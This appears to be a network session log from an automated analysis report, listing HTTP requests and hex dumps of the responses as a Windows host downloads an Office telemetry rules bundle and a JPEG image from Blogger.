2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 31 e8 7d 6b 61 c2 9a c3 21 b3 69 72 84 95 1d 34 e9 52 66 cd 4a 97 64 1a 5d 2e e9 5c 97 08 c2 f6 e2 f9 cc a8 ba 5b 2a 1d 4f 81 25 48 6e a4 15 23 d3 ad 72 a6 ed d1 f6 6d 66 d9 3a 8b 6c 7d 6e 3c 0f 33 06 95 47 19 5a b6 49 99 28 cd a8 f4 7b 93 f0 6b 47 91 f5 34 37 1b d9 3b 0f ac b2 b7 51 13 e1 cb 5d eb 40 f7 00 a1 b8 fe 24 13 63 af 8f 2f 3a b9 3a 46 74 5c a4 e9 19 86 ec c2 61 ce 6f 6a 5f 73 0c 00 f5 33 43 78 96 29 9e 52 d0 27 f7 9a 42 c0 f0 9d 87 8d 5c e2 1c 50 12 4b 31 3e 03 5f 4a ca 71 be d1 40 21 7b be 66 4f a0 e7 54 a5 73 97 06 a4 17 c7 0e 58 de 21 8b b1 82 46 83 9d ce e7 4d fc 4c 7a 0a c9 70 ee 1b 88 e2 57 41 3d db 73 f2 ae 60 f0 c7 19 74 96 24 a8 3b 75 35 eb 9d 9a e1 6b 69 04 01 3f a8 14 e6 f6 70 bb 18 97 c9 cb e8 b5 d9 ce 05 67 0b 6c 25 b5 03 a9 e6 4f Data Ascii: 1}ka!ir4RfJd].\[*O%Hn#rmf:l}n<3GZI({kG47;Q]@$c/::Ft\aoj_s3Cx)R'B\PK1>_Jq@!{fOTsX!FMLzpWA=s`t$;u5ki?pgl%O
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 7b dc 5f bb 33 0c a3 2b 34 c8 2f a0 65 ef 7b b0 27 c3 51 40 91 5e ee 2a da 2e e6 ea eb e0 0e b3 e4 07 ca bd 53 17 c3 38 7d e3 ec ef 15 5b b0 04 e6 28 c7 41 10 76 3a 45 5b 8c 2d 94 27 9a a2 ed 9e 25 77 85 a8 dc 47 d0 f9 1d 8d 76 bd 57 19 f6 71 1a d8 bb 33 c9 f4 ff 00 52 ef e9 4a a6 b2 b6 cb 30 16 d1 8e 00 ee 5e ed c6 24 cf 25 54 dc fc 3e 75 96 c4 61 42 eb bf 43 c8 f9 75 f3 ad 27 10 c6 95 b4 14 2c 22 cc 48 de 4e fa f9 7d 2b 37 88 17 1c c9 e7 af 8d 4b 76 40 a2 a2 0d bc b3 4d c3 62 2e 58 b8 b7 2d b1 57 5d 41 d0 ef c8 83 a1 1e 06 af fb 00 2a 8d ed 5b cf fd a9 d6 a8 2b b3 dd 3e cc b1 ef 7f 0a 97 ae 19 76 2e 18 c0 1a 87 61 b0 d0 69 15 ba 43 5e 4f f6 29 c4 01 b5 7b 0e 4e a8 e1 d7 f8 5c 41 f4 65 3e b5 e9 6f 74 81 59 79 3e b2 68 d6 8f fc 90 4c b3 72 e2 8d ea 4b 57 Data Ascii: {_3+4/e{'Q@^.S8}[(Av:E[-'%wGvWq3RJ0^$%T>uaBCu',"HN}+7Kv@Mb.X-W]A[+>v.aiC^O){N\Ae>otYy>hLrKW
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 29 7e 0c e7 60 38 cd b1 61 ad 5c 31 07 4f 10 45 04 ed 6e 0d 15 c9 53 2a 76 23 e0 7f 33 e9 51 f6 87 84 3e 19 cb 5b 1f b2 27 42 27 49 e4 7a 50 6b 9c 41 8a c3 6a 2b 16 5a 6d b3 6c f4 6c 3e 45 65 c2 97 6b d3 36 5d 89 b7 6a d0 17 18 c0 33 ac cf 4e 46 ae 71 8e d8 a4 32 a7 43 07 e9 f5 fa 57 9f af 11 39 32 82 74 db d4 9f 87 f4 aa b7 af 33 29 13 1c 8e a3 a8 8f 5a 89 e9 d3 95 b2 da d6 49 41 42 23 31 78 a0 ec 64 78 cf 30 66 27 c4 6b 43 dd f5 db 9f c8 ea 3e b4 b1 2f 06 06 86 20 c7 9f 23 e9 f1 9a e5 9b 44 d5 88 c6 8a d2 97 b6 5d c2 36 b4 42 d9 26 ab 59 b5 02 ac db 5a 99 24 53 9c 9b 08 61 5c 8d a9 53 30 ee cb d2 95 49 68 af 46 b3 15 d9 f6 ba 9b 0c ea 49 00 19 95 99 8d b4 20 1e 55 16 35 ed 60 ed 84 23 3d ce 6a b1 a1 ea c7 f5 e4 79 12 e1 bc 4e ed c5 6b 8d 09 6e 61 02 83 Data Ascii: )~`8a\1OEnS*v#3Q>['B'IzPkAj+Zmll>Eek6]j3NFq2CW92t3)ZIAB#1xdx0f'kC>/ #D]6B&YZ$Sa\S0IhFI U5`#=jyNkna
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: d8 96 cf b8 9d 79 18 1a 93 3f 3a d9 71 dc 48 71 86 b9 cd d0 13 d3 54 13 3d 3d e1 fe 1a c9 dd f8 3a cc b8 25 1f e6 5d f2 61 f1 dc 31 96 e4 c1 86 d7 a8 07 50 ca 4f 59 d7 e2 2a 74 c3 15 58 61 1d e1 f1 89 fc e8 af 0e c6 2d d5 ca c7 a1 04 f5 03 5f 8e 93 f0 1d 2a ef 11 44 6b 64 73 8f 98 d4 fd 29 64 97 03 f4 50 5f 2c 5b 5e c1 98 71 00 54 d3 4c 51 a5 76 b3 1f 2c f4 4c 71 db 14 84 69 52 a5 40 79 c3 5c 75 91 4e a5 45 30 38 df 06 7f 1b 60 25 c0 c4 68 7d 29 b7 30 8a 18 14 2c 3c 81 23 e1 d2 8b 63 f0 f9 94 8f 4a cc 62 96 3c 0f c8 d6 d6 9b 2e e8 9e 79 e6 f4 3f 0e 67 24 b8 67 a4 7d 9d 0d 6e ff 00 08 ff 00 ac 51 6e da f1 91 87 b0 55 4f ed 2e 02 a3 c1 7f 13 7e 5f 1f 0a cf fd 92 12 56 f9 3b 02 83 d4 31 3f 4a cf 76 9f 88 9c 5e 29 8a fb b3 95 3c 11 74 9f 8e fe 66 b5 e3 93 6e Data Ascii: y?:qHqT==:%]a1POYtXa-_Dkds)dP_,[^qTLQv,LqiR@y\uNE08`%h})0,<#cJb<.y?g$g}nQnUO.~_V;1?Jv^)<tfn
2024-10-14 22:39:50 UTC	494	IN	Data Raw: c3 8b 43 8a 12 de ed cb f2 f9 14 52 a5 4a a2 2e 9c 26 9a 6b a6 9b 45 01 8d 6a 68 34 8d 31 da 9e 91 5e 52 ae 46 62 6f 05 04 9a ca e2 b1 05 d8 9a 25 c4 af 17 39 46 d4 1d c6 a6 b5 34 98 94 79 f6 71 3e 6f 5b 2c b2 d8 bf 95 7f 91 ac 6b 96 2d 17 60 a3 72 62 b8 c6 8a f0 2b 00 66 b8 dc b4 13 f3 3f 97 ad 5d 67 37 26 14 08 00 00 6c 04 0f 85 06 e2 38 fc dd c4 3a 73 3d 7c 07 85 2e 25 c4 73 f7 53 dd e6 79 9f e9 55 f0 d6 35 a5 63 09 70 38 6d 64 d1 a5 d2 ab 61 ed c5 5a 8a 72 22 6e c5 33 5c a4 69 a0 d1 1a 3a 69 d4 d5 ae 9a 4c 34 49 6a a4 b0 c2 4c f4 f5 8e 55 1a ed 55 ef de ca 33 74 9f eb 40 05 b3 8d e9 52 26 3d c7 29 a1 f8 25 cc 44 6b 34 62 ce 13 ad 21 1d b1 8c 63 f8 07 a5 2a b5 6e d4 52 a2 22 01 4f 06 98 29 cb 5c c3 3d b4 ed 70 9a ed 34 d0 11 c3 4c 26 9c 6a 36 a7 a2 29 Data Ascii: CRJ.&kEjh41^RFbo%9F4yq>o[,k-`rb+f?]g7&l8:s=\|.%sSyU5cp8mdaZr"n3\i:iL4IjLUU3t@R&=)%Dk4b!c*nR"O)\=p4L&j6)

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:49 UTC	540	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:49 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 14 Oct 2024 13:20:05 GMT ETag: "0x8DCEC52EAEA89D6" x-ms-request-id: 8f65b74f-701e-0032-363d-1ea540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223949Z-17db6f7c8cf9c22xp43k2gbqvn00000004pg000000009bcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:49 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-14 22:39:49 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-14 22:39:49 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-14 22:39:49 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-14 22:39:49 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-14 22:39:50 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-14 22:39:50 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-14 22:39:50 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-14 22:39:50 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-14 22:39:50 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49765	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	637	OUT	GET /img/a/AVvXsEie-I9BcwAGL-Q2otyHHcocnNO7wYJMLIE_wTDb_VUERu_pttcU4fYTdaJisnLRZ8gVgbZI0ZYBRHx7rOkyP9hw7NUCQmCO_7-0Wd9SE3HB7nfuulr4lY56tKQojf_Z66W51J6snBywAoV2ZSoC2X6gqRQT2qkfXYAUx5CkArxObmMxnMfLGEBWNU9v7DE=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	487	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd45" Expires: Tue, 15 Oct 2024 22:39:49 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="615bcad9532673914c702a7b9d8.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:49 GMT Server: fife Content-Length: 9272 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:50 UTC	891	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 5e 01 00 00 03 a0 04 00 01 00 00 00 92 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220^C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: b7 68 c5 05 a5 f6 54 60 e1 b3 8a 9b 7c 5e e8 6c a8 50 58 b5 4e db cb 16 01 00 81 2d 90 0b 30 c8 d0 b6 a0 90 84 77 36 a4 d1 0e 5a d1 ea 16 13 bd 54 82 26 6e 8d b8 3a 3c a4 f4 88 f3 d2 0e e9 96 34 ec ad 7d 3e 52 c0 d7 7c cf c0 55 0c d9 63 2a 35 ae 68 a5 ae 63 cb 47 ba 57 4f 3c ba 1d 92 85 e7 13 b8 0e 40 f0 66 d2 27 44 2c c3 36 cd f0 96 ec 50 ab d1 05 2a bd 2c 7a 29 d6 b2 43 ac 8e f9 2f 2a 4a 99 76 d9 e7 ac bb 6a f2 5e 74 77 96 92 8f 2b 72 3e 52 ac 25 6b c4 ef c5 f9 a2 62 cb 59 0d 91 42 4d 35 75 7b 16 fb 19 45 97 b0 6c 62 cb da b6 45 e4 d5 99 54 01 dd 0e eb 3a 15 47 80 ff 00 73 a0 3e 05 a8 c6 28 1e 34 58 38 d1 2e bd 5a ba f7 e5 48 68 cc 62 91 ca b4 9c 64 6d 06 13 8d 53 bd 81 6b 53 b2 c9 d1 40 35 83 74 cb 75 e4 d3 57 50 93 4e 19 22 cd 3e c6 61 25 eb 5f 30 b0 Data Ascii: hT`\|^lPXN-0w6ZT&n:<4}>R\|Uc5hcGWO<@f'D,6P,z)C/*Jvj^tw+r>R%kbYBM5u{ElbET:Gs>(4X8.ZHhbdmSkS@5tuWPN">a%_0
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: c8 a4 6e 28 11 ac 8d 44 6a 23 4a 3a d1 a0 fd 0e 7e 22 cb 63 b4 66 b0 c6 cc 99 32 6c 6c 6c 6e 6c 64 d8 d8 d8 d8 c9 93 22 62 66 4f 62 6c 8e 44 21 0b ce 45 11 44 4b c2 91 b0 e6 39 64 91 93 63 b0 b1 29 8e b6 3f 44 12 6b 8f 0a ec aa 55 55 8b 21 41 6d 50 8a 9c 6a 1c 61 d5 a4 36 b6 0a 34 fb cc b5 46 be da 49 cb f8 bc b3 2c cb 36 66 f2 37 91 b4 8d a4 29 c8 53 90 a7 23 b2 47 64 87 64 8e d6 29 1b 9d 87 61 da 76 8e 48 dc 73 36 32 64 d8 ec 25 ab 1c 50 e2 8d 4d 4d 0d 0c 18 f8 e3 c6 0c 18 30 60 c1 a8 a2 28 8a 22 47 af 0c d5 18 30 63 e1 9f 86 7f c3 93 2c f6 7b 30 cc 33 f9 1f c8 4a 42 52 12 91 89 8b 71 6e 27 23 32 36 97 f9 1f f8 17 fc 3f ff c4 00 2d 11 00 01 04 01 03 02 04 04 07 00 00 00 00 00 00 00 00 01 02 03 11 12 04 13 21 10 20 14 22 32 41 23 31 61 81 30 40 51 62 a1 Data Ascii: n(Dj#J:~"cf2lllnld"bfOblD!EDK9dc)?DkUU!AmPja64FI,6f7)S#Gdd)avHs62d%PMM0`("G0c,{03JBRqn'#26?-! "2A#1a0@Qb
